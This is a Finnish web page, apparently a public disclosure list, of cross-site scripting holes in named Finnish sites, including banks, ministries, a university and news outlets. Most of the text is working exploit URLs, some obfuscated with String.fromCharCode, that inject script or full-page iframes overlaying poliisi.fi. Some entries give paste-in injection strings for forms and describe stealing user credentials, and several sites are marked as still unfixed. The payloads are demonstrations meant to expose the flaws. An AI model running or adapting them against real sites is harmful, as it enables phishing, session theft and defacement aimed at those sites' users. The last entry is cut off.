        <a href="http://www.uku.fi/cgi-bin/htsearch?words=%22%3E%3Cscript%3Ealert(String.fromCharCode(83)%2BString.fromCharCode(105)%2BString.fromCharCode(118)%2BString.fromCharCode(117)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(116)%2BString.fromCharCode(97)%2BString.fromCharCode(32)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(32)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(121)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(110)%2BString.fromCharCode(121)%2BString.fromCharCode(116)%2BString.fromCharCode(32)%2BString.fromCharCode(88)%2BString.fromCharCode(83)%2BString.fromCharCode(83)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(97)%2BString.fromCharCode(97)%2BString.fromCharCode(118)%2BString.fromCharCode(111)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(117)%2BString.fromCharCode(118)%2BString.fromCharCode(117)%2BString.fromCharCode(117)%2BString.fromCharCode(115)%2BString.fromCharCode(46))%3C/script%3E%3C!--%3Ca name=%22"><b>Kuopion yliopisto</b></a><br />
        Haavoittuvuuden avulla Kuopion yliopiston sivuille voidaan kirjoittaa mitä tahansa haittakoodia. Esimerkki kertoo haavoittuvuudesta virheilmoituksena.
    </li>
<li>
    	<a href="http://telkku.com/?XSS=%22%3E%3Ciframe+frameborder%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1270px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E%3Ciframe%3E%3Ctextarea%3E%3C!--"><b>Telkku.com</b></a><br />
    	Telkku.com on todella reikäinen ja sisältää vaarallisenkin XSS-aukon. Syötteitä <i>ainoastakaan sivuston lomakkeesta</i> ei tarkisteta ja sivuston URL kopioidaan sellaisenaan tarkistamatta sivuston lähdekoodiin - useita kertoja. Esimerkki lataa poliisi.fi-sivun.</p>
<p>        Sivustolle on myös mahdollista tallentaa pysyvästi haittakoodia muiden surffailijoiden nähtäväksi - tämä ei siis vaadi minkäänlaista linkin lähettämistä tms. hyökkääjältä, vain sen että telkku.comissa surffailija sattuu eksymään vahingoitetulle sivulle. <a href="http://www.telkku.com/profiili?user=xss">Esimerkki varoittaa haavoittuvuudesta</a> (muokattu telkku.comin käyttäjäsivu).
    </li>
<li>
    	<a href="https://www4.sonera.fi/kauppa/availabilityQuery.do?street=www.ihminen.org/xss/%22%3E%3Cdiv%20style=%22width:690px;height:45px;border:1px%20solid%20yellow;background:white;color:red;margin-left:-15px;font-size:25px;text-align:center;position:absolute;top:70px;padding-top:%2016px;%22%3EPatkii%20se%20kuitenki...%3C/div%3E%3Cspan%20id=%22xss"><b>Sonera</b></a><br />
    	Soneran salatun yhteyden päässä oleva sivu antaa kirjoittaa laajakaistan tilauslomakkeeseen mitä tahansa haittakoodia. Esimerkki kirjoittaa pienen jekkuboxin sivun ylälaitaan.</p>
<p>        Aukko on siitä vaarallinen, että sivuston kautta käsitellään rahaa ja tarkkoja henkilötietoja.
    </li>
<li>
        <a href="https://www.erekryhelsinki.fi/OpenJobs.asp?AD_JOBKEY=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1274px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3C!--"><b>Helsingin kaupunki</b></a> (1/2 korjattu - wlan-aukko jäljellä)<!--1.4.-->)<br />
        Helsingin rekrypalveluiden sivuilta vuotaa sivuille läpi käytännössä mitä tahansa haittakoodia. Tämän avulla voi tekaista esim. valheellisia työpaikkailmoituksia, tai sellaisia paikkoja johon ihmiset sitten jättävät lomalleella henkilötietojaan. Toinen aukko on <a href="http://ptp.hel.fi/wlan/start.asp?ptype=test'%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1374px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E%3C!--">WLAN-tukiasemien hakukartalla</a>. Esimerkit latailevat taas tuttua poliisi.fi-sivua.
    </li>
<p><!-- Tää vaatii vielä vähän säätöä...</p>
<li>
    	<a href="http://haku.koulutusnetti.fi/koulutusnetti/titleSearch.do?language=fi&#038;year=2008&#038;useSession=false&#038;command=2007&#038;searchItems=year%3DALL&#038;searchItems=year%3D2008&#038;searchItems=searchPhrase%3DALL&#038;searchItems=searchPhrase%3D%22%3E%3C%2Foption%3E%3C%2Fselect%3E%3Ch1%3EXSS%3C/h1%3E%3Cscript%3Ealert(%22XSS-aukko%22)%3C/script%3E%3C!--&#038;studyEduBranch=&#038;eduBranchYo=&#038;degreeEduType=&#038;degreeName=&#038;degreeTitle=&#038;searchPhrase=&#038;limit=150"><b>Koulutusnetti (opetushallitus)</b></a><br />
    	Hakuominaisuus antaa kirjoittaa sivustolle mitä tahansa haittakoodia. Esimerkki näyttää varoitusikkunan.<br />
    	<br /><br  /><br />
    	Lisäys: ei tuo toimikaan niin helposti, mutta post-arvoja muokkaamalla varmaan saisi toimimaan. Eli kopioi tämä teksti hakusanaksi:<br />
    	"&gt;&lt;/option&gt;&lt;/select&gt;&lt;script&gt;alert("XSS-aukko")&gt;/script&lt;
    </li>
<p>--></p>
<li>
    	<a href="http://www.aurinkomatkat.fi/tripsearch/TripSearchController?force=false&#038;ts_ch_gr3=0&#038;ts_max_price=%22%3E%3Ciframe%20frameborder=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1024px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E&#038;initialized=true&#038;ts_ch_gr2=0&#038;page=200&#038;ts_dep_station=HEL&#038;ts_room_count=1&#038;from=204&#038;ts_accommodation=kaikki&#038;ts_ch_2=0&#038;ts_base_month=3&#038;ts_adults=2&#038;ts_base_year=2008&#038;ts_week=true&#038;ts_out_earliest_day=22&#038;ts_out_earliest_my=0&#038;ts_out_latest_day=29&#038;ts_out_latest_my=0"><b>Aurinkomatkat</b></a><br />
    	Aurinkomatkojen hakusivu ei tarkista saamiaan arvoja. Esimerkki lataa poliisi.fi-sivun.
    </li>
<li>
    	Villivision CMS <a href="http://www.luovatampere.fi/?lang=%22%3E%3Ch1%3EXSS-aukko%3C/h1%3E%3C!--"><b>Luova Tampere</b></a>, <a href="http://www.enmac.fi/index.php?action=switch_language&#038;language=%22%3E%3Ch1%3EXSS-aukko%3C/h1%3E%3C!--"><b>Enmac</b></a><br />
    	Tamperelaisen Villivision-yrityksen ohjelmistossa on xss-haavoittuvuuksia, joiden kautta sivuille voidaan kirjoittaa mitä tahansa sisältöä. Tsekkasin kolme eri sivustoa, mutta tiedä miten paljon firmalla sitten on asiakkaita... Esimerkit kirjoittelevat tekstejä sivuille.
    </li>
<li>
        <a href="http://www.nokianrenkaat.fi/rengas?id=10469892&#038;group=1%22%3E%3Ch1%3EXSS-aukko%3C/h1%3E"><b>Nokian renkaat</b></a><br />
        Simppeli XSS-aukko tulostaa sivulle tekstin.
    </li>
<li>
    	<a href="http://www.score24.com/servlet/Results2?partner=mtv3fi&#038;cat=Today&#038;lang=fin&#038;cat=%3Cscript%3Ealert(%22Sivustolta%20on%20loytynyt%20XSS-haavoittuvuus.%22)%3C/script%3E%EF%BB%BF%3E%3Ciframe+frameborder%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1270px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E%3Ciframe%3E%3C!--"><b>Score24 (mm. mtv3 käyttää)</b></a><br />
    	mm. mtv3-nettisivun käyttämä score24-tulospalvelu sisältää aukon, jonka kautta sivuille voi kirjoittaa mitä tahansa lähdekoodia. Esimerkki lataa poliisi.fi-sivun.
    </li>
<h4>Korjattu</h4>
<p><small>Huom. alempana listassa vielä erikseen korjaamattomat <a href="#post">post-aukot</a>.</small></p>
<li>
    	<a href="http://www.hs.fi/keskustelu/post!post.jspa?forumID=13&#038;reply=false&#038;alias=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1024px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Helsingin Sanomat</b></a> (2/2 aukkoa korjattu<!--30.3. &#038; 1.4.-->)<br />
        Esimerkki aukaisee hs.fi:n päälle poliisi.fi-sivun. Haavoittuvuuden avulla on mahdollista esimerkiksi vakoilla käyttäjän tunnukset. Tunnuksilla voisi esim. tehdä osoitteenmuutoksia, tuote- ja lehtitilauksia.</p>
<p>        Aiemmin löytämäni <a href="https://www.hs.fi/kirjautuminen/kirjaudu/?TARGET=/arkisto/%22%20/%3E%3Cscript%3Ealert(%22XSS haavoittuvuus löytyi.%22);%3C/script%3E%3Cinput%20type=%22text%22size=%2240%22value=%22Tässä%20on%20XSS%20haavoittuvuus">XSS-aukko</a> korjattiin 30.3.
    </li>
<li>
        <a href="https://www.op.fi/linkki?url=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1280px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Osuuspankki</b></a> (korjattu<!--31.3.-->)<br />
        Osuuspankin sivuilla edelleenohjaussivu antaa kirjoittaa sivulle käytännössä mitä tahansa koodia. Sama ongelma kuin pohjolassa. Esimerkissä ko. sivun päälle on ladattu poliisi.fi. Joskus vian ilmeneminen vaatii ensin <a href="http://www.op.fi">op.fi</a>-osoitteessa käyntiä, en tiedä miksi.</p>
<p>        Tästä minulla on <a href="http://www.ihminen.org/xss/op_poliisi_xss.tiff">kuvakaappaus</a> (TIF, 680 Kb), josta näkyy kuinka osoiterivillä lukee op.fi, sivuksi on ladattu poliisi.fi ja oikeassa ylänurkassa vieläpä onnistuneesta salatusta yhteydestä kertova lukko.
    </li>
<li>
        <a href="https://www.pohjola.fi/linkki?url=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1280px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Pohjola</b></a> (korjattu<!--31.3.-->)<br />
        Pohjolan sivuilla edelleenohjaussivu antaa kirjoittaa sivulle käytännössä mitä tahansa koodia. Esimerkissä ko. sivun päälle on ladattu poliisi.fi.
    </li>
<li>
        <a href="http://www.aktia.fi/index.jsp?navi-main='%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1280px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E%3C!--"><b>Aktia Säästöpankki</b></a> (korjattu)<br />
        Aktian sivuilta XSS-aukko löytyi ennätysnopeasti. Heti etusivulla muutamassa sekunnissa! Esimerkissä ko. sivun päälle on ladattu poliisi.fi.</p>
<p>        Tästä minulla on <a href="http://www.ihminen.org/xss/aktia_poliisi_xss.tiff">kuvakaappaus</a> (TIF, 341 Kb), josta näkyy kuinka osoiterivillä lukee aktia.fi ja sivuksi on ladattu poliisi.fi
    </li>
<li>
        <a href="https://yrityspalvelu.tapiola.fi/a3/YvpAuthWeb/free/web/yhteydenotto/index.asp?Page=yhteydenotto%2Easp"><b>Tapiola</b></a> (korjattu<!--3.4.-->)<br />
        Tapiolan sivuilla on lomake, joka antaa kirjoittaa sivupohjaan mitä tahansa haittakoodia. En ole vielä ehtinyt tutkia, miten sitä voisi hyödyntää XSS-aukkona (jotenkin sopivasti POST-tietoja tuonne lähettämällä jokatapauksessa), mutta voitte itse kokeilla kopioimalla vaikkapa yrityksen nimi-kenttään tämän tekstin: "&gt;&lt;h1&gt;XSS-aukko&lt;!--
    </li>
<li>
        <a href="http://www.minedu.fi/OPM/Tarkennettu_haku/Tarkennettu_haku?lang=fi&#038;and=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1280px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Opetusministeriö</b></a><br />
        Opetusministeriön sivuilla hakusivu antaa kirjoittaa sivulle käytännössä mitä tahansa koodia. Esimerkissä ko. sivun päälle on ladattu poliisi.fi.
    </li>
<li>
        <a href="http://www.oph.fi/frontpage.asp?path=--%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1024px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3C!--"><b>Opetushallitus</b></a><br />
        Esimerkissä Opetushallituksen sivuston päälle aukaistaan poliisi.fi-sivusto. Haavoittuvuuden avulla voidaan ladata mitä tahansa sisältöä OPH:n sivuston sisälle.
    </li>
<li>
        <a href="http://www.elake-fennia.fi/Search.aspx?query=%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1280px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E%3C!--XSS"><b>Eläke-Fennia</b></a><br />
        Eläke-Fennian sivuilla hakusivu antaa kirjoittaa sivulle käytännössä mitä tahansa koodia ilman minkäänlaista tarkistusta. Esimerkissä ko. sivun päälle on ladattu poliisi.fi. Sivu voi ladata hetken (löytää paljon osumia hakukentän kautta.)
    </li>
<li>
        <a href="http://www.om.fi/Etusivu/Ajankohtaista/Pohjoismainensaamenkielipalkinto?pagename=--%3E%3Cscript%3Edocument.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62))%3C/script%3E%3Ciframe%20frameborder=%220%22%3E%3C!--"><b>Oikeusministeriö</b></a> (korjattu)<br />
        Haavoittuvuuden avulla Oikeusministeriön sivuille voidaan kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa sivun päälle poliisi.fi-sivuston.
    </li>
<li>
        <a href="http://www.sttinfo.fi/company-database/main-info.do?companyId=%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1224px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>STT</b></a><br />
        Haavoittuvuuden avulla STT:n sivuille voidaan kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa STT-sivun päälle poliisi.fi-sivuston.
    </li>
<li>
        <a href="http://www.stakes.fi/FI/Custom/hakutulokset.htm?SearchString=%3Cscript%3Ealert('Sivustolta on loytynyt XSS-haavoittuvuus.');document.write('Sivustolta on loytynyt XSS-haavoittuvuus')"><b>Stakes</b></a> (korjattu<!--3.4.-->)<br />
        Stakesin (Sosiaali- ja terveysalan tutkimus- ja kehittämiskeskus) sivuilla hakusivu antaa kirjoittaa sivulle käytännössä mitä tahansa koodia. Esimerkki kertoo haavoittuvuudesta varoitusikkunalla ja kirjoittaa sivulle JavaScriptilla tekstin XSS-haavoittuvuudesta. Tämä tapaus on siitä uskomaton, että sivusto jopa viimeistelee ja siistii kirjoittamani simppelin JavaScriptin kertomalla selaimelle että tässä hakusanassa on nyt tosiaankin <i>JavaScriptiä</i> eikä mitä tahansa "scriptiä", kuten minä laiskasti väitän.
    </li>
<li>
        <a href="http://www.otto.fi/ottohaku.php?paikkakunta=--%3E%3Cscript%3Edocument.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62))%3C/script%3E%3C!--"><b>Otto (automatia)</b></a> (korjattu<!--1.4.-->)<br />
        Automatian otto-palvelussa voi hakuominaisuuden kautta kirjoittaa sivustolle mitä tahansa haittakoodia. Esimerkki lataa sivun päälle poliisi.fi-sivuston.
    </li>
<li>        <a href="http://www.digitoday.fi/page.php?page_id=67&#038;char=--%3E<br />
<h1>XSS-aukko :-)</h1>
<p>%3Ciframe%3E%3C!--"><b>Digitoday</b></a> (3/3 korjattu<!--31.3.-->)<br />
        Sivuston osoite kopioituu suoraan lähdekoodiin ja sallii minkä tahansa koodin ajamisen. Esimerkki aukaisee poliisi.fi-sivun digitodayn päälle.</p>
<p>        Aiemmat bugit on jo korjattu:<br />
        Digitoday käyttää taloussanomien kanssa yhteistä keskustelu-kantaa, joten <a href="http://www.digitoday.fi/keskustelut/iframe/article.jspa?articleID=%22%3E%3C/iframe%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1270px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E">tämä</a> on identtinen bugi taloussanomien kanssa. Lisäksi Digitodayn keskustelualueen <a href="http://www.digitoday.fi/keskustelut/search.jspa?q=%22%3E%3C/iframe%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1270px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E">hakukentässä on XSS-aukko</a>.
    </li>
<li>
        <a href="http://www.nebulazone.fi/saatavuus.php?city=%3Cscript%3Edocument.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(53)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62))%3C/script%3E%3C!--"><b>Nebula</b></a> (korjattu)<br />
